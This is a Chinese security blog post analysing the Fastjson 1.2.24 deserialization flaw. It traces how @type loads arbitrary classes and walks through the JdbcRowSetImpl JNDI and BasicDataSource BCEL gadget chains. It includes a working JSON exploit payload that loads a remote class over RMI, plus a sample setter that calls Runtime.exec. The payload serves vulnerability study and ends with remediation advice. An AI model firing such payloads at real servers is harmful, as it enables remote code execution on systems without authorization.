【A9】Fastjson反序列化漏洞原理

admin 2023年6月1日08:43:29评论44 views字数 3714阅读12分22秒阅读模式

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

前言


Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。


Fastjson 是个非常流行的库,出现了漏洞造成的危害也特别大。json直白来说就是一串字符串,最原始的需求就是把键值对提取出来,作为一个json解析的库,可能很多人都会好奇它为什么会有代码执行之类的功能。本篇文章主要分析Fastjson产生代码执行漏洞的原因,和fastjson漏洞的执行过程


02

Fastjson反序列化原理分析

首先先来搭建环境,在pom.xml中导入fastjson的依赖,这里先导入发现的版本1.2.24:

<dependency>     <groupId>com.alibaba</groupId>     <artifactId>fastjson</artifactId>     <version>1.2.24</version></dependency>
可以看到,这个库主要是用来做字符串解析的工作

【A9】Fastjson反序列化漏洞原理


一个json库肯定不满足这个最简单的功能,很多开源的包都想要支持的功能足够多。fastjson支持将字符串反序列化成JavaBean,试一下效果,写一个Person类。

public class Person {    private int age;    private String name;

public Person() { System.out.println("constructor"); }

public void getAge(int age) { System.out.println("getAge"); this.age = age; }

public void setAge(int age) { System.out.println("setAge"); this.age = age; }

public String getName() { System.out.println("getName"); return name; }

public void setName(String name) { System.out.println("setName"); this.name = name; }}


可以看到fastjson实例化一个对象,调用了构造函数,也会根据传入的值,调用set方法赋给这个对象。


【A9】Fastjson反序列化漏洞原理


这种方法其实也没有安全问题,因为它指定了对象的类型,这里我们只能反序列化成Person对象。但是fastjson有一个特性,根据你传入的不同字符串,去反序列化成不同的类。


如下面这个例子,fastjson根据传入的字符串,按照Person类,解析、实例化、赋值、调用这些过程全部走了一遍,set和get方法全都调用了。这个参数不是服务端控制反而是客户端能去控制的,这个行为听上去特别像一句话木马,传入不同的字符串就能执行不同的代码。设计上看特别像后门。

【A9】Fastjson反序列化漏洞原理


这就是fastjson提供的一个功能,这个功能就导致了后续的一系列问题。


断点看看调用流程,首先调用一个接受string的parseObject方法,实际上调用parse方法后返回的就是Person对象


字符串传进去会调用DefaultJSONParser进行解析,这个features参数可以指定解析时的一些要求,比如能否使用单引号,空格如何处理等规则。

【A9】Fastjson反序列化漏洞原理

接下来就parser去进行解析,JSON解析就是字符串挨个去匹配,这里是switch来匹配

【A9】Fastjson反序列化漏洞原理

读到key之后,会判断key值是不是特殊字符,如果匹配到DEFAULT_TYPE_KEY,也就是@type,就会进行java的反序列化,不仅仅是json的反序列化。

【A9】Fastjson反序列化漏洞原理

如果是@type就会加载loadClass这个方法,看1000行,首先会从缓存里面找,然后经过一系列的处理,总之就是获取上下文的ClassLoader,然后将它放在缓存里。

【A9】Fastjson反序列化漏洞原理

接下来就进入到了解析java对象的环节,首先获取反序列化器,第二用反序列化器来进行反序列化,这一步做完回来的就是Person了。

【A9】Fastjson反序列化漏洞原理

我们来看看fastjson是如何进行反序列化的,它的构造里有很多内置类对应的反序列化器。

【A9】Fastjson反序列化漏洞原理

最后也是一堆判断,判断都不满足的话,就会按照javeBean来解析

【A9】Fastjson反序列化漏洞原理

进入到createJavaBeenDeserializer这个方法中,有一个JaveBeanInfo的函数,它在创建类对应的反序列化器的时候,把类里面的构造函数,getter,setter都获取,组成一个beaninfo

【A9】Fastjson反序列化漏洞原理

进入build方法,可以看到这里获得了所有的字段

【A9】Fastjson反序列化漏洞原理

接着往下走,会经过几个遍历,第一遍遍历是找所有的setter方法,第二遍遍历是找所有public或者static的Field,第三遍遍历是找所有满足条件的getter(Map、Collection等等)

【A9】Fastjson反序列化漏洞原理

进入一个遍历看一下,条件是长度大于4,不是Static,返回值是Void

【A9】Fastjson反序列化漏洞原理

遍历以后可以看到beaninfo已经有了我们要的字段,同时这个字段对应的set方法也获得到了

【A9】Fastjson反序列化漏洞原理

调用构造函数之后,通过setValue完成赋值,调用set方法

【A9】Fastjson反序列化漏洞原理

前面我们看到还会调用getter方法,这个在哪调用了呢?可以看到,前面把字符串json转换成了对象,这里还会把json对象转换成json字符串,在这里调用了getter。

【A9】Fastjson反序列化漏洞原理

可以看到这里就调用了invoke,执行调用了getAge方法。

【A9】Fastjson反序列化漏洞原理

总结一下流程:fastjson解析的时候,会用反序列化器进行解析,调用构造方法,赋值的时候通过setter方法进行赋值。用了parseObject方法,会调用toJSON方法,把所有的getter方法都调用一遍。

知道了代码的调用流程以后,漏洞利用的点就显而易见了。

找到一个setXXX函数,这个函数里有危险方法,就可以作为fastjson的攻击链了。

举一个例子,假设有一个危险类test

public class test {    public void setCmd(String cmd) throws IOException {        Runtime.getRuntime().exec(cmd);    }}

运行,成功利用!【A9】Fastjson反序列化漏洞原理


03

Fastjson1.2.24漏洞复现

这个版本主要有两条链子,一条是基于JdbcRowSetImpl的链子,另一条是基于BasicDataSource的链子。

先来看JdbcRowSetImpl这一条链子,看到是标准jndi注入的攻击方式,并且满足变量DataSource可控,有对应的setter方法。

【A9】Fastjson反序列化漏洞原理

实际的利用需要自己先启动一个Server,然后把恶意类放到vps上。这里为了方便,我们可以通过Yaki建一个反连服务器,设置Payload。

【A9】Fastjson反序列化漏洞原理

成功验证,直接执行了clac,还是很方便的。

这条链子是JNDI注入,会受版本限制、依赖限制,并且需要出网外联。

【A9】Fastjson反序列化漏洞原理

在真实的环境中,只需要将请求的JSON字符串改成精心制造的即可。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8899/Exploit", "autoCommit":true}

JdbcRowSetImpl这条链子可以理解为远程的动态类加载,接下来要讲的BasicDataSource这条链是本地类加载。

这条链子目标需要引入tomcat依赖,还算是比较常见。

BCEL作为字节码传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

【A9】Fastjson反序列化漏洞原理

想要在Fastjson中利用的话,需要fastjson反序列化过程中执行到这个操作。而在BasicDataSource中正好有一个能够利用的点。其中driverClassLoaderdriverClassName都是可控的。

【A9】Fastjson反序列化漏洞原理

往上查找引用,能在getConnetcion方法中看到调用

【A9】Fastjson反序列化漏洞原理

构造Payload,成功执行执行命令。

【A9】Fastjson反序列化漏洞原理

这一条链子主要是不出网的打法,不需要开启特殊的参数,适用范围较广。还有一条TemplatesImpl链子,需要开启Feature.SupportNonPublicField,实战中适用范围较小,此处不展开分析。

03

修复建议


1. 升级Fastjson至最新安全版本

2. 配置AutoType黑白名单

04
小结

本章浅谈了FastJson产生漏洞的原因,并走了Fastjson在低版本常见的两条利用链。Fastjson的漏洞核心其实就是可以加载任意类,所以后续的版本也是一直在完善黑名单,大佬们不断加以亿点点的技巧,用不可能的姿势完成新版本利用。


受限于篇幅,未能对已公开的几种 gadget 进一步的分析复现。希望本文能起到抛砖引玉的作用,如有错误之处,欢迎各位师傅们指点交流,不胜感激。










原文始发于微信公众号(A9 Team):【A9】Fastjson反序列化漏洞原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月1日08:43:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【A9】Fastjson反序列化漏洞原理http://cn-sec.com/archives/1778651.html

发表评论

匿名网友 填写信息